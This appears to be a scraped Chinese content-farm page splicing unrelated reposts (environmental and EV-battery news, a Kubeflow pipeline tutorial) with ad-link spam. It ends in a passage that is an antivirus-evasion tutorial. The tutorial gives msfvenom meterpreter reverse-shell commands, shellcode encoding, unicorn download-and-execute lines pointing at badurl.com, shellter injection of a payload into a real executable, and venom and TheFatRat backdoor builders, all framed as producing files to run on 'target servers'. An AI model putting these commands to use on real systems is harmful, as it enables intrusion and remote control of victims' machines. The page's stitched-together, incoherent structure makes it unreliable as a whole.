法國科研 盼牡蠣能用於污染監測

摘錄自2018年09月16日中央社報導

法國國家科學研究中心(CNRS)研究人員馬沙布歐(Jean-Charles Massabuau)與波爾多大學(University of Bordeaux)合作,自2011年起就與生物學家、數學家與電腦專家研發相關程序,測量牡蠣暴露在水中石油與天然氣的反應。

研究人員發現,和在煤礦坑養金絲雀偵測有毒氣體的道理相同,外海石油平台附近的牡蠣能偵測出微量的碳氫化合物。每顆牡蠣一天能不間斷地過濾數十加侖的海水。藉由牡蠣的早期預警,科學家就能趕在發生災難性石油外洩威脅野生物與沿岸社區前,及早發現設施的細微裂損。

這些觀測已在挪威及俄羅斯外海的巴倫支海,以及法國能源大廠道達爾集團(Total)經營的研究機構所建置的水道裡進行。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

聚甘新

殘忍屠宰涉虐待動物 法國屠宰場5人受審

摘錄自2018年09月17日中央社報導

法國南部一處屠宰場的前負責人和4名員工17日出庭受審,起因於法國動保團體L214於2016年3月把在莫萊昂利沙爾(Mauleon-Licharre)屠宰場秘密錄製的影片傳上網,引發廣泛憤慨,其後又陸續上傳了在另外兩家屠宰場拍攝的類似影片,促使國會出面調查,當局也對全法國屠宰場展開了連串檢查。

動保團體L214的高提耶(Brigitte Gothiere)說:「這場審判是顯示國家和獸醫系統應負責的機會,我們希望這場審判將確認,因(他們)未遵守法令,造成這些動物極端痛苦。」

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

聚甘新

Toyota新款車用鋰電池效能將提高10~15%

根據日本媒體的報導,全世界最大汽車廠豐田(TOYATO)汽車24 日表示,豐田將在未來幾年內開發一種新型,更為先進的電動汽車電池。豐田表示,該公司的電動汽車在配備這種新款電池之後,行駛的里程和電池壽命最多可提升15%。

報導中表示,豐田汽車將要研發的新款汽車電池,是透過使用粒子加速器產生的X 光射線,在撞擊鋰離子電池之後,將能使得汽車電池耐久性,以及每次充電行駛里程提高10% 到15% 的效能。

豐田汽車進一步表示,這種能夠增強性能的鋰離子電池技術,很有可能會讓旗下所有電動汽車性能都得到改進。豐田汽車電池技術研究人員Hisao Yamashige 指出,對於電動汽車來說,鋰離子電池是一項關鍵技術,未來明顯有必要改進這一技術,以進一步提升其性能。

對於豐田等傳統汽車製造商,以及特斯拉(Tesla)等汽車業的後起之秀來說,改進鋰離子電池性能的技術已經迫在眉睫。因為,目前的電池技術限制了汽車的性能。包括純電動汽車、插電式混合動力車、以及傳統油電混合動力車製造商都在努力獲取,或開發更為先進的電池技術,以提升旗下電動汽車的行駛里程、電池壽命以及安全性。

而做為全球最大汽車製造商,豐田過去成為了油電混合動力汽車技術的先驅。而該公司目前正準備推出新款插電式油電混合動力車Prime。豐田日前還表示,爭取在2020 年推出一款純電動汽車。

此外,豐田也表示,目前正考慮針對中國市場推出純電動汽車,並且將開始為燃料電池車 (FCV) 的驗證試驗做準備。對此,豐田逐漸擴大在中國的研發基地,以應付目前中國市場日益嚴格的法律規定。

(本文內容由《》授權提供。首圖來源: CC BY 2.0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

聚甘新

車用鋰電池需求夯!Panasonic傳擬在歐建新廠

日本媒體日刊工業新聞29日報導,因以歐系為主的車廠相繼將電動車(EV)、插電式油電混合車(PHV)等電動化車種視為重點研發對象,帶動車用鋰離子電池需求旺盛,故Panasonic計畫在2022年結束前於歐洲興建車用鋰離子電池新工廠,預估投資額將達數百億日圓。2017年全球電動化車種產量預估為450萬台,2022年將增至約1,900萬台、佔整體產量比重約2成。

報導指出,Panasonic目前正在美國內華達州、中國大連市興建電池工廠,合計投資額達約2,000億日圓,其中美國工廠預計於今年內、大連工廠預計於2017年2月啟用,且Panasonic也正擴增日本國內電池工廠產能,但即便如此,預估Panasonic產能仍無法滿足需求,故計畫在歐洲興建新廠。

據報導,Panasonic為全球車用鋰離子電池龍頭廠,和南韓三星、LG的競爭火熱,而該兩家韓廠也正在東歐興建新工廠,預計於2017-2018年啟用,故Panasonic也期望藉由在歐洲興建新工廠對抗韓廠。

日經新聞11月7日報導,因全球各國紛紛強化汽車環保規範,故日本汽車業龍頭豐田汽車(Toyota)計畫在2020年結束前整備電動車(EV)量產體制、正式搶進EV市場。據報導,目前豐田環保車策略以油電混合車(HV)、燃料電池車(FCV)為主,今後則將擴充陣容、將EV也定位為環保車的主力產品,且將視比亞迪(BYD)、特斯拉(Tesla)等競爭對手動向,決定生產體制。

根據日本市調機構富士經濟(Fuji Keizai)公布的調查報告顯示,PHV、EV在2025年以後的需求增幅將加快,預估2030年左右時,HV、PHV、EV將呈現幾乎相互抗衡的局面,2035年在北美、歐洲、中國需求加持下,PHV、EV市場將進一步擴大,超越HV。

富士經濟指出,全球EV市場當前將持續呈現緩和增長,不過預估自2020年左右起,EV需求將呈現急速擴大,預估2035年全球EV市場規模將達567萬台、將較2015年飆增近16倍(成長1,567%);另外,2035年全球PHV市場規模將達665萬台、將較2015年(21萬台)飆增近31倍(成長3,066%)。

(本文內容由 授權提供。照片來源:Panasonic)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

聚甘新

摧毀海洋、潟湖、飲用水的瘋狂計畫 土國總統仍要建伊斯坦堡運河

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

聚甘新

使用Kubeflow構建機器學習流水線

在此前的文章中,我已經向你介紹了Kubeflow,這是一個為團隊設置的機器學習平台,需要構建機器學習流水線。

在本文中,我們將了解如何採用現有的機器學習詳細並將其變成Kubeflow的機器學習流水線,進而可以部署在Kubernetes上。在進行本次練習的時候,請考慮你該如何將現有的機器學習項目轉換到Kubeflow上。

我將使用Fashion MNIST作為例子,因為在本次練習中模型的複雜性並不是我們需要解決的主要目標。對於這一簡單的例子,我將流水線分為3個階段:

  • Git clone代碼庫

  • 下載並重新處理訓練和測試數據

  • 訓練評估

當然,你可以根據自己的用例將流水線以任意形式拆分,並且可以隨意擴展流水線。

獲取代碼

你可以從Github上獲取代碼:

% git clone https://github.com/benjamintanweihao/kubeflow-mnist.git

以下是我們用來創建流水線的完整清單。實際上,你的代碼很可能跨多個庫和文件。在我們的例子中,我們將代碼分為兩個腳本,preprocessing.pytrain.py

from tensorflow import keras
import argparse
import os
import pickle


def preprocess(data_dir: str):
    fashion_mnist = keras.datasets.fashion_mnist
    (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()

    train_images = train_images / 255.0
    test_images = test_images / 255.0

    os.makedirs(data_dir, exist_ok=True)

    with open(os.path.join(data_dir, 'train_images.pickle'), 'wb') as f:
  pickle.dump(train_images, f)

    with open(os.path.join(data_dir, 'train_labels.pickle'), 'wb') as f:
  pickle.dump(train_labels, f)

    with open(os.path.join(data_dir, 'test_images.pickle'), 'wb') as f:
        pickle.dump(test_images, f)

    with open(os.path.join(data_dir, 'test_labels.pickle'), 'wb') as f:
        pickle.dump(test_labels, f)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Kubeflow MNIST training script')
    parser.add_argument('--data_dir', help='path to images and labels.')
    args = parser.parse_args()

    preprocess(data_dir=args.data_dir)

處理腳本採用單個參數data_dir。它下載並預處理數據,並將pickled版本保存在data_dir中。在生產代碼中,這可能是TFRecords的存儲目錄。

train.py

import calendar
import os
import time

import tensorflow as tf
import pickle
import argparse

from tensorflow import keras
from constants import PROJECT_ROOT


def train(data_dir: str):
    # Training
    model = keras.Sequential([
          keras.layers.Flatten(input_shape=(28, 28)),
          keras.layers.Dense(128, activation='relu'),
          keras.layers.Dense(10)])

    model.compile(optimizer='adam',
              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
                  metrics=['accuracy'])

    with open(os.path.join(data_dir, 'train_images.pickle'), 'rb') as f:
        train_images = pickle.load(f)

    with open(os.path.join(data_dir, 'train_labels.pickle'), 'rb') as f:
        train_labels = pickle.load(f)

    model.fit(train_images, train_labels, epochs=10)

    with open(os.path.join(data_dir, 'test_images.pickle'), 'rb') as f:
        test_images = pickle.load(f)

    with open(os.path.join(data_dir, 'test_labels.pickle'), 'rb') as f:
        test_labels = pickle.load(f)

    # Evaluation
    test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)

    print(f'Test Loss: {test_loss}')
    print(f'Test Acc: {test_acc}')

    # Save model
    ts = calendar.timegm(time.gmtime())
    model_path = os.path.join(PROJECT_ROOT, f'mnist-{ts}.h5')
    tf.saved_model.save(model, model_path)

    with open(os.path.join(PROJECT_ROOT, 'output.txt'), 'w') as f:
        f.write(model_path)
        print(f'Model written to: {model_path}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Kubeflow FMNIST training script')
    parser.add_argument('--data_dir', help='path to images and labels.')
    args = parser.parse_args()

    train(data_dir=args.data_dir)

train.py中,將建立模型,並使用data_dir指定訓練和測試數據的位置。模型訓練完畢並且開始執行評估后,將模型寫入帶有時間戳的路徑。請注意,該路徑也已寫入output.txt。稍後將對此進行引用。

開發Kubeflow流水線

為了開始創建Kubeflow流水線,我們需要拉取一些依賴項。我準備了一個environment.yml,其中包括了kfp 0.5.0tensorflow以及其他所需的依賴項。

你需要安裝Conda,然後執行以下步驟:

% conda env create -f environment.yml
% source activate kubeflow-mnist
% python preprocessing.py --data_dir=/path/to/data
% python train.py --data_dir=/path/to/data

現在我們來回顧一下我們流水線中的幾個步驟:

  • Git clone代碼庫

  • 下載並預處理訓練和測試數據

  • 訓練並進行評估

在我們開始寫代碼之前,需要從宏觀上了解Kubeflow流水線。

流水線由連接組件構成。一個組件的輸出成為另一個組件的輸入,每個組件實際上都在容器中執行(在本例中為Docker)。將發生的情況是,我們會執行一個我們稍後將要指定的Docker鏡像,它包含了我們運行preprocessing.pytrain.py所需的一切。當然,這兩個階段會有它們的組件。

我們還需要額外的一個鏡像以git clone項目。我們需要將項目bake到Docker鏡像,但在實際項目中,這可能會導致Docker鏡像的大小膨脹。

說到Docker鏡像,我們應該先創建一個。

Step0:創建一個Docker鏡像

如果你只是想進行測試,那麼這個步驟不是必須的,因為我已經在Docker Hub上準備了一個鏡像。這是Dockerfile的全貌:

FROM tensorflow/tensorflow:1.14.0-gpu-py3
LABEL MAINTAINER "Benjamin Tan <benjamintanweihao@gmail.com>"
SHELL ["/bin/bash", "-c"]

# Set the locale
RUN echo 'Acquire {http::Pipeline-Depth "0";};' >> /etc/apt/apt.conf
RUN DEBIAN_FRONTEND="noninteractive"
RUN apt-get update  && apt-get -y install --no-install-recommends locales && locale-gen en_US.UTF-8
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8

RUN apt-get install -y --no-install-recommends \
    wget \
    git \
    python3-pip \
    openssh-client \
    python3-setuptools \
    google-perftools && \
    rm -rf /var/lib/apt/lists/*

# install conda
WORKDIR /tmp
RUN wget --quiet https://repo.anaconda.com/miniconda/Miniconda3-4.7.12-Linux-x86_64.sh -O ~/miniconda.sh && \
    /bin/bash ~/miniconda.sh -b -p /opt/conda && \
    rm ~/miniconda.sh && \
    ln -s /opt/conda/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
    echo ". /opt/conda/etc/profile.d/conda.sh" >> ~/.bashrc

# build conda environments
COPY environment.yml /tmp/kubeflow-mnist/conda/
RUN /opt/conda/bin/conda update -n base -c defaults conda
RUN /opt/conda/bin/conda env create -f /tmp/kubeflow-mnist/conda/environment.yml
RUN /opt/conda/bin/conda clean -afy

# Cleanup
RUN rm -rf /workspace/{nvidia,docker}-examples && rm -rf /usr/local/nvidia-examples && \
    rm /tmp/kubeflow-mnist/conda/environment.yml

# switch to the conda environment
RUN echo "conda activate kubeflow-mnist" >> ~/.bashrc
ENV PATH /opt/conda/envs/kubeflow-mnist/bin:$PATH
RUN /opt/conda/bin/activate kubeflow-mnist

# make /bin/sh symlink to bash instead of dash:
RUN echo "dash dash/sh boolean false" | debconf-set-selections && \
    DEBIAN_FRONTEND=noninteractive dpkg-reconfigure dash

# Set the new Allocator
ENV LD_PRELOAD /usr/lib/x86_64-linux-gnu/libtcmalloc.so.

關於Dockerfile值得關注的重要一點是Conda環境是否設置完成並準備就緒。要構建鏡像:

% docker build -t your-user-name/kubeflow-mnist . -f Dockerfile
% docker push your-user-name/kubeflow-mnist

那麼,現在讓我們來創建第一個組件!

pipeline.py中可以找到以下代碼片段。

Step1:Git Clone

在這一步中,我們將從遠程的Git代碼庫中執行一個git clone。特別是,我想要向你展示如何從私有倉庫中進行git clone,因為這是大多數企業的項目所在的位置。當然,這也是一個很好的機會來演示Rancher中一個很棒的功能,它能簡單地添加諸如SSH密鑰之類的密鑰。

使用Rancher添加密鑰

訪問Rancher界面。在左上角,選擇local,然後選擇二級菜單的Default:

然後,選擇Resources下的Secrets

你應該看到一個密鑰的列表,它們正在被你剛剛選擇的集群所使用。點擊Add Secret:

使用你在下圖中所看到的值來填寫該頁面。如果kubeflow沒有在命名空間欄下展示出來,你可以通過選擇Add to a new namespace並且輸入kubeflow簡單地創建一個。

確保Scope僅是個命名空間。如果將Scope設置為所有命名空間,那麼將使得在Default項目中的任意工作負載都能夠使用你的ssh密鑰。

在Secret Values中,key是id_rsa,值是id_rsa的內容。完成之後,點擊Save。

如果一些進展順利,你將會看到下圖的內容。現在你已經成功地在kubeflow命名空間中添加了你的SSH密鑰,並且無需使用kubectl!

既然我們已經添加了我們的SSH key,那麼是時候回到代碼。我們如何利用新添加的SSH密鑰來訪問私有git倉庫?

def git_clone_darkrai_op(repo_url: str):

    volume_op = dsl.VolumeOp(
        name="create pipeline volume",
        resource_name="pipeline-pvc",
        modes=["ReadWriteOnce"],
        size="3Gi"
    )

    image = 'alpine/git:latest'

    commands = [
        "mkdir ~/.ssh",
        "cp /etc/ssh-key/id_rsa ~/.ssh/id_rsa",
        "chmod 600 ~/.ssh/id_rsa",
        "ssh-keyscan bitbucket.org >> ~/.ssh/known_hosts",
        f"git clone {repo_url} {PROJECT_ROOT}",
        f"cd {PROJECT_ROOT}"]

    op = dsl.ContainerOp(
        name='git clone',
        image=image,
        command=['sh'],
        arguments=['-c', ' && '.join(commands)],
        container_kwargs={'image_pull_policy': 'IfNotPresent'},
        pvolumes={"/workspace": volume_op.volume}
    )

    # Mount Git Secrets
    op.add_volume(V1Volume(name='ssh-key-volume',
                           secret=V1SecretVolumeSource(secret_name='ssh-key-secret')))
    op.add_volume_mount(V1VolumeMount(mount_path='/etc/ssh-key', name='ssh-key-volume', read_only=True))

    return op

首先,創建一個Kubernetes volume,預定義大小為3Gi。其次,將image變量指定為我們將要使用的alpine/git Docker鏡像。之後是在Docker容器中執行的命令列表。這些命令實質上是設置SSH密鑰的,以便於流水線可以從私有倉庫git clone,或者使用git://URL來代替 https://

該函數的核心是下面一行,返回一個dsl.ContainerOp

commandarguments指定了執行鏡像之後需要執行的命令。

最後一個變量十分有趣,是pvolumes,它是Pipeline Volumes簡稱。它創建一個Kubernetes volume並允許流水線組件來共享單個存儲。該volume被掛載在/workspace上。那麼這個組件要做的就是把倉庫git clone/workspace中。

使用Secrets

再次查看命令和複製SSH密鑰的位置。

流水線volume在哪裡創建呢?當我們將所有組件都整合到一個流水線中時,就會看到創建好的volume。我們在/etc/ssh-key/上安裝secrets:

op.add_volume_mount(V1VolumeMount(mount_path='/etc/ssh-key', name='ssh-key-volume', read_only=True))

請記得我們將secret命名為ssh-key-secret

op.add_volume(V1Volume(name='ssh-key-volume',
                           secret=V1SecretVolumeSource(secret_name='ssh-key-secret')))

通過使用相同的volume名稱ssh-key-volume,我們可以把一切綁定在一起。

Step2:預處理

def preprocess_op(image: str, pvolume: PipelineVolume, data_dir: str):
    return dsl.ContainerOp(
        name='preprocessing',
        image=image,
        command=[CONDA_PYTHON_CMD, f"{PROJECT_ROOT}/preprocessing.py"],
        arguments=["--data_dir", data_dir],
        container_kwargs={'image_pull_policy': 'IfNotPresent'},
        pvolumes={"/workspace": pvolume}
    )

正如你所看到的, 預處理步驟看起來十分相似。

image指向我們在Step0中創建的Docker鏡像。

這裏的command使用指定的conda python簡單地執行了preprocessing.py腳本。變量data_dir被用於執行preprocessing.py腳本。

在這一步驟中pvolume將在/workspace里有倉庫,這意味着我們所有的腳本在這一階段都是可用的。並且在這一步中預處理數據會存儲在/workspace下的data_dir中。

Step3:訓練和評估

def train_and_eval_op(image: str, pvolume: PipelineVolume, data_dir: str, ):
    return dsl.ContainerOp(
        name='training and evaluation',
        image=image,
        command=[CONDA_PYTHON_CMD, f"{PROJECT_ROOT}/train.py"],
        arguments=["--data_dir", data_dir],
        file_outputs={'output': f'{PROJECT_ROOT}/output.txt'},
        container_kwargs={'image_pull_policy': 'IfNotPresent'},
        pvolumes={"/workspace": pvolume}
    )

最後,是時候進行訓練和評估這一步驟。這一步唯一的區別在於file_outputs變量。如果我們再次查看train.py,則有以下代碼段:

    with open(os.path.join(PROJECT_ROOT, 'output.txt'), 'w') as f:
        f.write(model_path)
        print(f'Model written to: {model_path}')

我們正在將模型路徑寫入名為output.txt的文本文件中。通常,可以將其發送到下一個流水線組件,在這種情況下,該參數將包含模型的路徑。

將一切放在一起

要指定流水線,你需要使用dsl.pipeline來註釋流水線功能:

@dsl.pipeline(
    name='Fashion MNIST Training Pipeline',
    description='Fashion MNIST Training Pipeline to be executed on KubeFlow.'
)
def training_pipeline(image: str = 'benjamintanweihao/kubeflow-mnist',
                      repo_url: str = 'https://github.com/benjamintanweihao/kubeflow-mnist.git',
                      data_dir: str = '/workspace'):
    git_clone = git_clone_darkrai_op(repo_url=repo_url)

    preprocess_data = preprocess_op(image=image,
                                    pvolume=git_clone.pvolume,
                                    data_dir=data_dir)

    _training_and_eval = train_and_eval_op(image=image,
                                           pvolume=preprocess_data.pvolume,
                                           data_dir=data_dir)

if __name__ == '__main__':
    import kfp.compiler as compiler
    compiler.Compiler().compile(training_pipeline, __file__ + '.tar.gz')

還記得流水線組件的輸出是另一個組件的輸入嗎?在這裏,git clonecontainer_oppvolume將傳遞到preprocess_cp

最後一部分將pipeline.py轉換為可執行腳本。最後一步是編譯流水線:

% dsl-compile --py pipeline.py --output pipeline.tar.gz

上傳並執行流水線

現在要進行最有趣的部分啦!第一步,上傳流水線。點擊Upload a pipeline

接下來,填寫Pipeline NamePipeline Description,然後選擇Choose file並且指向pipeline.tar.gz以上傳流水線。

下一頁將會展示完整的流水線。我們所看到的是一個流水線的有向無環圖,在本例中這意味着依賴項會通往一個方向並且它不包含循環。點擊藍色按鈕Create run 以開始訓練。

大部分字段已經已經填寫完畢。請注意,Run parameters與使用@ dsl.pipeline註釋的training_pipeline函數中指定的參數相同:

最後,當你點擊藍色的Start按鈕時,整個流水線就開始運轉了!你點擊每個組件並查看日誌就能夠知道發生了什麼。當整個流水線執行完畢時,在所有組件的右方會有一個綠色的確認標誌,如下所示:

結論

如果你從上一篇文章開始就一直在關注,那麼你應該已經安裝了Kubeflow,並且應該能體會到大規模管理機器學習項目的複雜性。

在這篇文章中,我們先介紹了為Kubeflow準備一個機器學習項目的過程,然後是構建一個Kubeflow流水線,最後是使用Kubeflow接口上傳並執行流水線。這種方法的奇妙之處在於,你的機器學習項目可以是簡單的,也可以是複雜的,只要你願意,你就可以使用相同的技術。

因為Kubeflow使用Docker容器作為組件,你可以自由地加入任何你喜歡的工具。而且由於Kubeflow運行在Kubernetes上,你可以讓Kubernetes處理機器學習工作負載的調度。

我們還了解了一個我喜歡的Rancher功能,它十分方便,可以輕鬆添加secrets。立刻,你就可以輕鬆地組織secrets(如SSH密鑰),並選擇將其分配到哪個命名空間,而無需為Base64編碼而煩惱。就像Rancher的應用商店一樣,這些便利性使Kubernetes的工作更加愉快,更不容易出錯。

當然,Rancher提供的服務遠不止這些,我鼓勵你自己去做一些探索。我相信你會偶然發現一些讓你大吃一驚的功能。Rancher作為一個開源的企業級Kubernetes管理平台,Run Kubernetes Everywhere一直是我們的願景和宗旨。開源和無廠商鎖定的特性,可以讓用戶輕鬆地在不同的基礎設施部署和使用Rancher。此外,Rancher極簡的操作體驗也可以讓用戶在不同的場景中利用Rancher提升效率,幫助開發人員專註於創新,而無需在繁瑣的小事中浪費精力。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

shellcode 免殺(一)

工具免殺

選擇了幾個簡單或者近期還有更新的免殺工具進行學習

ShellcodeWrapper

項目地址

https://github.com/Arno0x/ShellcodeWrapper

該工具的原理是使用異或加密或者aes加密,做到混淆,進行免殺。

先使用msfvenom生成raw格式文件

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw

下面命令mi0 是密碼隨意寫即可。

python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor

會生成3個文件,用C++編譯的cpp文件,用python編譯的py文件和用c#編譯的cs文件

直接丟到vs中把cpp編譯生成exe文件即可,上傳目標服務器。

unicorn

項目地址

https://github.com/trustedsec/unicorn.git

從github上下載下來就可以運行,使用方法非常簡單

支持生成ps1、macro、hta、dde等形式的代碼和文件

所有類型的使用方法如下

Usage: 
python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>

PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms

這裏生產powershell的腳本

python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444 

運行powershell的腳本即可

shellter

shellter使用的是PE文件注入的方式,測試kali和windows的版本,感覺windows的還要方便穩定一點

windows版本下載地址

Download

以windows為例下載后直接運行shellter.exe

主要一開始有2個模式,一個Auto一個manual

Auto的選項要少很多,更加的方便,manual選項很多,可以自定義調用的混淆模塊等參數

Choose Operation Mode - Auto/Manual (A/M/H): A

Perform Online Version Check? (Y/N/H): N

#此處輸入注入的PE文件,這裏注入D盾
PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe	

......(等待)

#選擇是否開啟隱藏模式
Enable Stealth Mode? (Y/N/H): N

#選擇回連payload的方式
************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

#選擇輸入listed payload輸入
Use a listed payload or custom? (L/C/H): L

#輸入payload的編號
Select payload by index: 1

***************************
* meterpreter_reverse_tcp *
***************************
#設置監聽地址和端口
SET LHOST: 192.168.2.1

SET LPORT: 4444

.....(等待生成成功即可)

目標服務器上運行程序即可反彈shell(我這裏用msf的模塊監聽即可收到shell)

venom

項目地址

https://github.com/r00t-3xp10it/venom

安裝起來步驟比較繁瑣,主要是依賴問題

進入到目標文件夾

sudo aux/setup.sh

會幫你安裝所有需要的依賴,之後運行

sudo ./venom.sh

選擇目標的模塊

            __    _ ______  ____   _  _____  ____    __
           \  \  //|   ___||    \ | |/     \|    \  /  |
            \  \// |   ___||     \| ||     ||     \/   |
             \__/  |______||__/\____|\_____/|__/\__/|__|1.0.16
     USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
    ╔─────────────────────────────────────────────────────────────╗
    ║   1 - Unix based payloads                                   ║
    ║   2 - Windows-OS payloads                                   ║
    ║   3 - Multi-OS payloads                                     ║
    ║   4 - Android|IOS payloads                                  ║
    ║   5 - Webserver payloads                                    ║
    ║   6 - Microsoft office payloads                             ║
    ║   7 - System built-in shells                                ║
    ║   8 - Amsi Evasion Payloads                                 ║
    ║                                                             ║
    ║   E - Exit Shellcode Generator                              ║
    ╚─────────────────────────────────────────────────────────────╣
                                                  SSARedTeam@2019_|
[] Shellcode Generator
[] Chose Categorie number: 2

之後會彈出適應該模塊的免殺方式以及生成文件格式,輸入對應的編號即可

之後分別會彈出接收shell的host輸入框,接收shell的port輸入框,反彈shell的payload選擇框(都是msf的),輸入生成文件的名字

後面2個參數都選deafult默認即可

參數輸完之後,去vemon項目下的output中取生成的shell發送到目標服務器上運行即可

注:windows 1的dll文件shell能夠繞過windows 10自帶病毒檢測(這就很nice)

運行dll可以使用以下命令

rundll32.exe test.dll,main

TheFatRad

項目地址

https://github.com/Screetsec/TheFatRat

安裝步驟很簡單

chmod +x setup.sh && ./setup.sh

更新(更新后還要重新setup.sh一下)

./update && chmod +x setup.sh && ./setup.sh

再檢查下組件是否正常

chmod +x chk_tools 
./chk_tools

注意下即使組件正常也要安裝names的python依賴,之後調用模塊的時候會用到

pip install names

踩坑:我的環境是kali20.2,這個版本的kali使用的kali用戶而不是root用戶,用sudo pip安裝了后,啟動fatrat還是說找不到names模塊,這時候需要sudo su切換到root用戶進行names的安裝

在安裝時會發現它還需要BDF這個免殺作為依賴

在確定所有組件安裝完畢后運行

sudo ./fatrat

稍等片刻進入界面

2         ____                                                              
        |    |                                                             
        |____|                                                             
       _|____|_       _____ _       _____     _   _____     _              
        /  ee\_      |_   _| |_ ___|   __|___| |_| __  |___| |_            
      .<     __O       | | |   | -_|   __| .'|  _|    -| .'|  _|           
     /\ \.-.' \        |_| |_|_|___|__|  |___|_| |__|__|___|_|             
    J  \.|'.\/ \                                                           
    | |_.|. | | |   [--]   Backdoor Creator for Remote Acces [--]          
     \__.' .|-' /   [--]  Created by: Edo Maland (Screetsec) [--]          
     L   /|o'--'\   [--]            Version: 1.9.7           [--]          
     |  /\/\/\   \  [--]          Codename: Whistle          [--]          
     J /      \.__\ [--]   Follow me on Github: @Screetsec   [--]          
     J /      \.__\ [--]   Dracos Linux : @dracos-linux.org  [--]          
     |/         /   [--]                                     [--]          
       \      .'\.  [--]     SELECT AN OPTION TO BEGIN:      [--]          
    ____)_/\_(___\. [--] .___________________________________[--]          
   (___._/  \_.___)'\_.-----------------------------------------/          
                                                                           
                                                                           
        [01]  Create Backdoor with msfvenom                                
        [02]  Create Fud 100% Backdoor with Fudwin 1.0                     
        [03]  Create Fud Backdoor with Avoid v1.2                          
        [04]  Create Fud Backdoor with backdoor-factory             
        [05]  Backdooring Original apk [Instagram, Line,etc]               
        [06]  Create Fud Backdoor 1000% with PwnWinds [Excelent]           
        [07]  Create Backdoor For Office with Microsploit                  
        [08]  Trojan Debian Package For Remote Acces [Trodebi]             
        [09]  Load/Create auto listeners                                   
        [10]  Jump to msfconsole                                           
        [11]  Searchsploit                                                 
        [12]  File Pumper [Increase Your Files Size]                       
        [13]  Configure Default Lhost & Lport                              
        [14]  Cleanup                                                      
        [15]  Help                                                         
        [16]  Credits                                                      
        [17]  Exit                                                         
                                                                           
 ┌─[TheFatRat]──[~]─[menu]:                                                
 └─────►2      

這裏官方推薦02和06模塊,這裏使用02的模塊中的udp加殼

   _______ ___ ___ ______   ___ ___ ___ ______  
  |   _   |   Y   |   _  \ |   Y   |   |   _  \ 
  |.  1___|.  |   |.  |   \|.  |   |.  |.  |   |
  |.  __) |.  |   |.  |    |. / \  |.  |.  |   |
